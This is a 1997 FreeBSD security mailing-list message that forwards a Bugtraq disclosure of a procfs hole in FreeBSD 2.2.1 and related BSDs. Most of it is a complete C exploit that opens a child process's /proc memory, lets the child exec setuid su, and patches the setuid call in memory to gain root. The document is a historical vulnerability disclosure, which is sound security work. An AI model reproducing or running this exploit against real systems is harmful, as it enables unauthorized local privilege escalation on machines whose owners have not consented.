Skip site navigation (1)Skip section navigation (2)
Date:      Sun, 10 Aug 1997 22:51:17 +1000 (EST)
From:      Darren Reed <avalon@coombs.anu.edu.au>
To:        security@freebsd.org
Subject:   procfs hole (fwd)
Message-ID:  <199708101305.GAA20027@hub.freebsd.org>

next in thread | raw e-mail | index | archive | help
In some mail from Brian Mitchell, sie said:
> From owner-bugtraq@NETSPACE.ORG Sun Aug 10 22:41:25 EST 1997
> Approved-By: aleph1@UNDERGROUND.ORG
> Mime-Version: 1.0
> Content-Type: TEXT/PLAIN; charset=US-ASCII
> Message-Id: <Pine.NEB.3.96.970810052824.3287A-100000@apocalypse.saturn.net>
> Date: 	Sun, 10 Aug 1997 05:37:40 -0400
> Reply-To: Brian Mitchell <brian@FIREHOUSE.NET>
> Sender: Bugtraq List <BUGTRAQ@NETSPACE.ORG>
> From: Brian Mitchell <brian@FIREHOUSE.NET>
> Subject:      procfs hole
> X-Cc:         freebsd-security@freebsd.org
> To: BUGTRAQ@NETSPACE.ORG
> 
> There is a major hole in procfs under FreeBSD 2.2.1 (2.1 is not affected,
> I have not tested 3.x but I believe it to be vulnerable as well) along
> with OpenBSD (not tested by me, but by someone else -- believe it was
> 2.1-RELEASE although obsd doesnt mount procfs by default like freebsd
> does).
> 
> The problem is all proc/#/mem access is controlled by the permissions on
> the file. This means you can fork() open the childs mem device and then
> have the child execute a setuid executable. Once this is done, you can
> modify the setuid executables memory -- even segments that are supposed to
> be nonwritable can be modified. Enclosed is a simple exploit tested under
> FreeBSD 2.2.1 -- beware, this exploit is slow because it searches memory
> for a specific signature. Oh, you need to change your shell to a borneish
> shell too, since csh/tcsh will not work when euid != ruid (unless passed
> a -b script argument).
> 
> BSDI is also believed to be vulnerable. Unfortunately, not only is procfs
> not mounted, it is not even in the GENERIC kernel.
> 
> #include <stdio.h>
> #include <stdlib.h>
> #include <unistd.h>
> #include <fcntl.h>
> #include <string.h>
> 
> u_char search_code[13] = {
> 0x8d, 0x05, 0x17, 0x00, 0x00, 0x00,           /* leal 0x17, %eax */
> 0x9a, 0x00, 0x00, 0x00, 0x00, 0x07, 0x00};    /* lcall 7,0 */
> 
> /* just do a xor %eax, %eax and then a ret */
> u_char new_code[] = {
> 0x31, 0xc0, 0xc3};
> 
> main(int argc, char **argv)
> {
>         int pid;
>         int fd;
>         char buff[40];
>         char *user;
> 
>         /* might need to tweak these */
>         u_int offset=0x8003000;
>         u_int offset_end = 0x8099000;
> 
>         if(argc < 2)
>         {
>                 fprintf(stderr, "%s user\n", argv[0]);
>                 exit(1);
>         }
>         printf("Demonstration of 4.4BSD procfs hole\n");
>         printf("Brian Mitchell <brian@firehouse.net>\n\n");
>         printf("after you see \"setuid changed\", enter the pw for the user\n");
>         printf("\aBe warned, searching for the setuid() function takes a long time!\n");
>         user=argv[1];
>         pid = fork();
>         switch(pid)
>         {
>                 case -1:
>                         perror("fork");
>                         exit(1);
>                 case 0:
>                         /* give parent time to open /proc/pid/mem */
>                         sleep(3);
>                         execl("/usr/bin/su", "su", user, NULL);
>                         exit(0);
>                 default:
>                         sprintf(buff, "/proc/%d/mem", pid);
>                         fd = open(buff, O_RDWR);
>                         if(fd < 0)
>                         {
>                                 perror("open procmem");
>                                 wait(NULL);
>                                 exit(1);
>                         }
>                         /* wait for child to execute suid program */
>                         sleep(6);
>                         /* stop the child */
>                         kill(pid, 17);
>                         printf("searching - please be patient...\n");
>                         /* search for the setuid code */
>                         while(offset != offset_end)
>                         {
>                                 lseek(fd, offset, SEEK_SET);
>                                 read(fd, buff, 13);
>                                 if(!bcmp(buff, search_code, 13))
>                                 {
>                                         lseek(fd, offset, SEEK_SET);
>                                         write(fd, new_code, 3);
>                                         printf("setuid changed (0x%x)\n", offset);
>                                         /* sigcont child */
>                                         kill(pid, 19);
>                                         wait(NULL);
>                                         exit(0);
>                                 }
>                                 offset++;
>                         }
>                         printf("setuid not found!!\n");
>                         kill(pid, 9);
>                         wait(NULL);
>                         exit(1);
>         }
> }
> 
> 
> Brian Mitchell                                  brian@firehouse.net
> "BSD code sucks. Of course, everything else sucks far more."
> - Theo de Raadt (OpenBSD President)
> 




Want to link to this message? Use this URL: <https://mail-archive.FreeBSD.org/cgi/mid.cgi?199708101305.GAA20027>